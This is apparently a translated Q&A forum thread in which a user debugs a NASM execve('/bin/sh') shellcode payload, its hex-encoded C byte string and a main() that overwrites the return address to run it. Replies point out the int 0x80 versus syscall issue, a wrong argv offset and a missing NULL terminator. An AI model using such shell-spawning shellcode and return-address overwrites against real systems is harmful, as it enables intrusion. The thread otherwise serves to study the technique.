【问题标题】:exceve syscall is not working via payload异常系统调用无法通过有效负载工作
【发布时间】:2022-01-20 11:25:44
【问题描述】:

我正在为 execve 系统调用编写基本负载。在 nasm 中,有效负载是:

global _start
  2 section .text
  3    _start:
  4     call payload
  5     db '/bin/sh', 0, 'aaaaaaaa', 0
  6     payload:
  7       mov rax,rsp
  8       mov rax, [rax]
  9       ;mov BYTE  [rax + 0x9], 0x0
 10       mov QWORD  [rax + 0x0a], rax
 11       ;mov BYTE  [rax + 0x12], 0x0
 12       ;mov QWORD  [rax + 0x13], 0x0
 13     mov rdi, rax
 14     lea rsi, [rax + 0x0a]
 15     mov rdx, 0x0
 16     mov rax, 0x0b
 17     int 0x80
 18     mov rax, 0x01
 19     mov rbx, 0x21
 20     int 0x80

C 文件是:

char payload[] = "\xe8\x11\x00\x00\x00"
  2                 "\x2f\x62\x69\x6e\x2f\x73\x68\x00"
  3                 "\x61\x61\x61\x61\x61\x61\x61\x61\x00"
  4                 "\x48\x89\xe0"
  5                 "\x48\x8b\x00"
  6                 "\x48\x89\x40\x0a"
  7                 "\x48\x89\xc7"
  8                 "\x48\x8d\x70\x0a"
  9                 "\xba\x00\x00\x00\x00"
 10                 "\xb8\xcb\x00\x00\x00"
 11                 "\xcd\x80"
 12                 "\xb8\x01\x00\x00\x00"
 13                 "\xbb\x21\x00\x00\x00"
 14                 "\xcd\x80";
 15 void main() {
 16   long *pointer;
 17   pointer = (long *)&pointer + 2;
 18   *pointer = (long)payload;

有 2 个系统调用,第一个是 execve,第二个是 exit。第一个没有执行,但第二个正在工作。此文件以状态码 33 退出。 我在 r2 中调试了这段代码。我首先将调试点放在int 0x80 寄存器rdi、rsi 和rdx 中的值似乎正确,让我粘贴确切的值:

rdi = 0x5580de416045
:> ps @ rdi
/bin/sh
rsi = 0x5580de41604f
px @ rsi
0x5580de41604f  4560 41de 8055 0000
rdx = 0x00000000

所以 rdi 保存了/bin/sh 的地址,rsi 保存了第一个地址为/bin/sh 的地址,rdx 为空。但我认为即使使用 strace 也无法正常工作,我没有看到这个 sycall。

【问题讨论】:

  • 您没有使用 NULL 指针终止 argv 数组。
  • @o11c,是的,我修改了asm代码,很抱歉造成混乱。您可以从有效载荷的第三行\x61\x61\x61\x61\x61\x61\x61\x61\x00 验证这一点
  • 您不能在 64 位程序中使用 int 0x80(至少不能用于需要指针的系统调用),请参阅stackoverflow.com/questions/46087730/…。您需要改用syscall 接口并相应地更新您的系统调用号。
  • 感谢@o11c,这是问题之一。

标签: c nasm system-calls execve stack-smash


【解决方案1】:

感谢@Nate 和@o11c,有几个问题:

  1. 我应该使用系统调用而不是 int 0x80,因为我使用 64 位寄存器(如 rdi 而不是 ebx)来传递第一个参数。改了,还是不行。

  2. 最初我使用/bin/bash而不是/bin/sh,所以字符串长度是7而不是9,所以argv的地址是字符串地址+ 8(长度为7,空字符为1)而不是0a(10 )。

  3. 正如@o11c 指出的,argv 应该以 NULL 地址结尾。在 argv[0] 之后我只是放了 NULL 字节,但这还不够,整个 8 个字节应该是 NULL,因为它是一个地址。

在此之后代码工作正常。

【讨论】:

    猜你喜欢
    • 2023-04-04
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2020-11-28
    • 2015-09-26
    • 1970-01-01
    • 2015-08-24
    • 2017-10-27
    相关资源
    最近更新 更多